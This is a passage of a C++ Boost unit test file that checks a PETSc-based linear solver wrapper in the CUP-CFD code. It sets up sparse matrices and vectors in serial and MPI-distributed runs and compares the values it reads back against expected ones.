2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {6, 6, 6};\n\t\tint cols[3] = {6, 7, 8};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {10, 10, 10};\n\t\tint cols[3] = {10, 11, 12};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {15, 16};\n\t\tint cols[2] = {15, 16};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset vector prior to setup\n\tsolver.resetVectorB();\n\n\t// Test and Check\n\tstatus = solver.setupVectorB();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Workaround - seems OK to compare these in C++,\n\t// but BOOST doesn't like making the comparison\n\tif(solver.b == PETSC_NULL)\n\t{\n\t\tBOOST_CHECK_EQUAL(true, false);\n\t}\n\n\t// Is this always guaranteed? Assuming for now...\n\tPetscInt cmp[5] = {0, 5, 10, 15, 20};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 5, solver.bRanges, solver.bRanges + 5);\n\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n}\n\n\n// ============== setupMatrixA ===================\n// Test 1: Setup a Matrix on a Serial Solver from a SparseCOO matrix\nBOOST_AUTO_TEST_CASE(setupMatrixA_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset Matrix prior to setup\n\tsolver.resetMatrixA();\n\n\t// === Setup ===\n\n\t// Test and Check\n\tstatus = solver.setupMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tPetscInt cmp[2] = {0, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 2, solver.aRanges, solver.aRanges + 2);\n\n\t// ToDo: Ideally would like to check PETSc internal nnz structure of matrix\n}\n\n\n// Test 2: Setup a Matrix on a Distributed Solver, where each rank holds a different set of rows\nBOOST_AUTO_TEST_CASE(setupMatrixA_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Reset Matrix prior to setup\n\tsolver.resetMatrixA();\n\n\t// === Setup ===\n\n\t// Test and Check\n\tstatus = solver.setupMatrixA(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t//PetscInt cmp[2] = {0, 8};\n\t//BOOST_CHECK_EQUAL_COLLECTIONS(cmp, cmp + 2, solver.aRanges, solver.aRanges + 2);\n\n\t// ToDo: Ideally would like to check PETSc internal nnz structure of matrix\n}\n\n// ============== setup ===================\n\n// Test 1: Test setup on a Serial Solver\nBOOST_AUTO_TEST_CASE(setup_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// === Setup ===\n\n\t// Reset Vectors and Matrix\n\tsolver.resetVectorX();\n\tsolver.resetVectorB();\n\tsolver.resetMatrixA();\n\n\t// Test and Check\n\tstatus = solver.setup(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n}\n\n// Test 2: Test setup on a Distributed Solver\nBOOST_AUTO_TEST_CASE(setup_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// === Setup ===\n\n\t// Reset Vectors and Matrix\n\tsolver.resetVectorX();\n\tsolver.resetVectorB();\n\tsolver.resetMatrixA();\n\n\t// Test and Check\n\tstatus = solver.setup(matrix);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n}\n\n\n// ============== setValuesVectorX/getValuesVectorX ===================\n// Note: For these tests we can only presume that the values are set correctly\n// without error till the getters are tested....\n\n// Test 1: Set all values to same scalar + get all values (serial)\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test1)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble vals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorX(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\tstatus = solver.getValuesVectorX(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n}\n\n// Test 2: Set all values to same scalar + get all values (parallel)\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test2)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = status = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Test and check\n\tstatus = solver.setValuesVectorX(2.5);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tdouble * result;\n\tint nResult;\n\tdouble resultCmp[8] = {2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5, 2.5};\n\n\tstatus = solver.getValuesVectorX(&result, &nResult);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 8, resultCmp, resultCmp + 8);\n}\n\n// Test 3: Set values to specific indices + retrieve those indices (serial) - all local rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test3)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm;\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tint rows[13] = {0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 6, 7};\n\tint cols[13] = {0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7};\n\tdouble matvals[13] = {0.1, 0.2, 0.1, 0.05, 0.07, 0.09, 0.06, 0.1, 0.15, 0.23, 0.11, 0.13, 0.09};\n\n\tfor(int i = 0; i < 13; i++)\n\t{\n\t\tstatus = matrix.setElement(rows[i], cols[i], matvals[i]);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tint indices[4] = {2, 5, 3, 7};\n\tdouble vals[4] = {0.5, 0.3, 0.6, 0.1};\n\n\tdouble * result;\n\tint nResult;\n\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble fullResultCmp[8] = {0.0, 0.0, 0.5, 0.6, 0.0, 0.3, 0.0, 0.1};\n\n\tstatus = solver.setValuesVectorX(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.setValuesVectorX(vals, 4, indices, 4, 0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 4, 0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\tBOOST_CHECK_EQUAL(nResult, 4);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 4, vals, vals + 4);\n\n\tstatus = solver.getValuesVectorX(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n}\n\n// Test 4: Set values to specific indices + retrieve those indices (parallel) - all local rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test4)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Check they are actually local rows\n\tPetscInt rangeCmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.xRanges, solver.xRanges + 5);\n\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble fullResultCmp[8] = {0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8};\n\n\tdouble * result;\n\tint nResult;\n\n\tstatus = solver.setValuesVectorX(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint indices[2] = {0, 1};\n\t\tdouble vals[2] = {0.1, 0.2};\n\n\t\tstatus = solver.setValuesVectorX(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint indices[2] = {2, 3};\n\t\tdouble vals[2] = {0.3, 0.4};\n\n\t\tstatus = solver.setValuesVectorX(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint indices[2] = {4, 5};\n\t\tdouble vals[2] = {0.5, 0.6};\n\n\t\tstatus = solver.setValuesVectorX(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint indices[2] = {6, 7};\n\t\tdouble vals[2] = {0.7, 0.8};\n\n\t\tstatus = solver.setValuesVectorX(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\tfree(result);\n\t}\n\n\t// Test all values set correctly too.\n\tstatus = solver.getValuesVectorX(&fullResult, &nFullResult);\n\tBOOST_CHECK_EQUAL(nFullResult, 8);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(fullResult, fullResult + 8, fullResultCmp, fullResultCmp + 8);\n\tfree(fullResult);\n}\n\n// Test 5: Set values to specific indices + retrieve those indices (parallel) - off-node rows\nBOOST_AUTO_TEST_CASE(set_getValuesVectorX_test5)\n{\n\tcupcfd::error::eCodes status;\n\tcupcfd::comm::Communicator comm(MPI_COMM_WORLD);\n\n\t// Create a simple SparseMatrix\n\tcupcfd::data_structures::SparseMatrixCOO<int, double> matrix(8, 8, 0);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint rows[5] = {0, 0, 1, 1, 2};\n\t\tint cols[5] = {0, 1, 1, 2, 2};\n\t\tdouble vals[5] = {0.1, 0.2, 0.1, 0.05, 0.07};\n\n\t\tfor(int i = 0; i < 5; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint rows[3] = {2, 3, 3};\n\t\tint cols[3] = {3, 3, 4};\n\t\tdouble vals[3] = {0.09, 0.06, 0.1};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint rows[3] = {4, 4, 5};\n\t\tint cols[3] = {4, 5, 5};\n\t\tdouble vals[3] = {0.15, 0.23, 0.11};\n\n\t\tfor(int i = 0; i < 3; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint rows[2] = {6, 7};\n\t\tint cols[2] = {6, 7};\n\t\tdouble vals[2] = {0.13, 0.09};\n\n\t\tfor(int i = 0; i < 2; i++)\n\t\t{\n\t\t\tstatus = matrix.setElement(rows[i], cols[i], vals[i]);\n\t\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\t}\n\t}\n\n\tLinearSolverPETSc<cupcfd::data_structures::SparseMatrixCOO<int, double>, int, double> solver(comm, PETSC_KSP_CGAMG, 1E-6, 1E-6, matrix);\n\n\t// Setup\n\tstatus = solver.setupVectorX();\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t// Check they are actually local rows\n\tPetscInt rangeCmp[5] = {0, 2, 4, 6, 8};\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.xRanges, solver.xRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.bRanges, solver.bRanges + 5);\n\tBOOST_CHECK_EQUAL_COLLECTIONS(rangeCmp, rangeCmp + 5, solver.aRanges, solver.aRanges + 5);\n\n\n\tdouble * result;\n\tint nResult;\n\n\tstatus = solver.setValuesVectorX(0.0);\n\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\tif(comm.rank == 0)\n\t{\n\t\tint indices[4] = {0, 1, 2, 5};\n\t\tdouble vals[4] = {0.1, 0.2, 0.3, 0.6};\n\n\t\tstatus = solver.setValuesVectorX(vals, 4, indices, 4, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 4, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 4);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 4, vals, vals + 4);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 1)\n\t{\n\t\tint indices[1] = {3};\n\t\tdouble vals[1] = {0.4};\n\n\t\tstatus = solver.setValuesVectorX(vals, 1, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 1);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 1, vals, vals + 1);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 2)\n\t{\n\t\tint indices[2] = {4, 7};\n\t\tdouble vals[2] = {0.5, 0.8};\n\n\t\tstatus = solver.setValuesVectorX(vals, 2, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 2, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 2);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 2, vals, vals + 2);\n\t\t//free(result);\n\t}\n\telse if(comm.rank == 3)\n\t{\n\t\tint indices[1] = {6};\n\t\tdouble vals[1] = {0.7};\n\n\t\tstatus = solver.setValuesVectorX(vals, 1, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\n\t\tstatus = solver.getValuesVectorX(&result, &nResult, indices, 1, 0);\n\t\tBOOST_CHECK_EQUAL(status, cupcfd::error::E_SUCCESS);\n\t\tBOOST_CHECK_EQUAL(nResult, 1);\n\t\tBOOST_CHECK_EQUAL_COLLECTIONS(result, result + 1, vals, vals + 1);\n\t\t//free(result);\n\t}\n\n\t// Test all values set correctly too.\n\tdouble * fullResult;\n\tint nFullResult;\n\tdouble 